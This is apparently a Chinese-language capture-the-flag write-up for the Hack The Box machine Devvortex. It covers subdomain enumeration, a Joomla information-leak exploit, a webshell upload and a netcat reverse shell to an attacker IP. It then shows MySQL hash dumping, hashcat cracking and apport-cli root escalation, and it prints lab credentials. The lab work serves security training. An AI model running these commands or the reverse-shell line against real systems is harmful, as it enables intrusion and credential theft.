---
# System prepended metadata

title: HTB Devvortex writeup
tags: [Vulnhub]

---

# HTB Devvortex writeup

## 資訊蒐集
nmap的時候記得加sudo 結果會不一樣，沒加sudo可能會造成顯示tcpwapper的問題
![image](https://hackmd.io/_uploads/B1nhePiMC.png)

利用gobuster掃描subdomain
`gobuster vhost -u http://devvortex.htb/ -w SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt --append-domain`
被vhost搞到，如果機器不是面向公共網路的話，`dns`模式沒辦法進行掃瞄，要改成`vhost`
![image](https://hackmd.io/_uploads/H1E6FSifC.png)

找到subdomain後，將/etc/hosts中的`devvortex.htb`改成`dev.devvortex.htb`

用gobuster進行目錄掃描，這裡用dirb會太卡，用gobuster比較快
`gobuster dir -u http://dev.devvortex.htb/ -w /usr/share/wordlists/dirb/common.txt -r`
![image](https://hackmd.io/_uploads/Bk7xrDsfA.png)

站點運行joomla
![image](https://hackmd.io/_uploads/SJ4vPNy7C.png)

有joomscan這種東西可以進行掃描
https://blog.csdn.net/qq_51577576/article/details/130142187
`joomscan -u http://dev.devvortex.htb/`

剛好該版本有資訊洩漏漏洞
![image](https://hackmd.io/_uploads/H1kL9V1m0.png)
https://github.com/Acceis/exploit-CVE-2023-23752
使用前先安裝
`gem install httpx docopt paint`
`ruby exploit.rb http://dev.devvortex.htb`
![image](https://hackmd.io/_uploads/H1WZguofC.png)

獲取帳號密碼
* DB user: lewis
* DB password: P4ntherg0t1n5r3c0n##

## 獲取shell
上傳webshell插件(別人writeup都是改Site Templates，但我不會(X)
https://zone.huoxian.cn/d/2720-joomla-unauthorizedrce
https://github.com/p0dalirius/Joomla-webshell-plugin/releases/tag/1.1
![image](https://hackmd.io/_uploads/rknif-nf0.png)

>別人分享的改Site Templates反彈方式
>![image](https://hackmd.io/_uploads/B1kq-44XC.png)



webshell利用網址
`http://dev.devvortex.htb/modules/mod_webshell/mod_webshell.php?action=exec&cmd=whoami`

站台的nc沒有-e選項 所以是OpenBSD的
![image](https://hackmd.io/_uploads/rygdLSk7R.png)


OpenBSD nc shell指令
`mkfifo /tmp/lol;nc 10.10.16.6 1234 0</tmp/lol | /bin/sh -i 2>&1 | tee /tmp/lol`
記得要urlencode 不然會讀不完整沒法反彈shell

kali接shell
`nc -nvlp 1234`

獲取www-data的權限
![image](https://hackmd.io/_uploads/r1IUOSkmA.png)

用py3模擬一個bash終端
`python3 -c 'import pty; pty.spawn("/bin/bash")'`


可以透過使用者得知裡面有mysql
![image](https://hackmd.io/_uploads/Bk9GDBkQ0.png)

用剛剛獲得的DB帳號登入
```
mysql -ulewis -p

show databases;
use joomla;
show tables;
select * from sd4fg_users;
```
![image](https://hackmd.io/_uploads/HJ5TcZ3MC.png)

獲取使用者名稱、密碼
`logan`、`$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12`

用hashcat解密出明文，kali記憶體給太低會沒辦法用hashcat
`sudo hashcat  -a 0 -m 3200 pass.txt /usr/share/wordlists/rockyou.txt`
![image](https://hackmd.io/_uploads/rkF7kz3zC.png)
https://dev.to/wrongbyte/cracking-a-hashed-password-with-hashcat-4bfe

解出來的密碼：`tequieromucho`

`ssh  logan@10.10.11.242`
get user flag
![image](https://hackmd.io/_uploads/rJhbHGnGC.png)


## root提權
用`sudo -l`查看sudo權限，發現有apport-cli可以控制
![image](https://hackmd.io/_uploads/HyK_cBkXC.png)

網路搜尋apport-cli Privilege Escalation 剛好是這個的writeup利用片段
https://vk9-sec.com/cve-2023-1326privilege-escalation-apport-cli-2-26-0/

get root flag
![image](https://hackmd.io/_uploads/BkRUBf2f0.png)

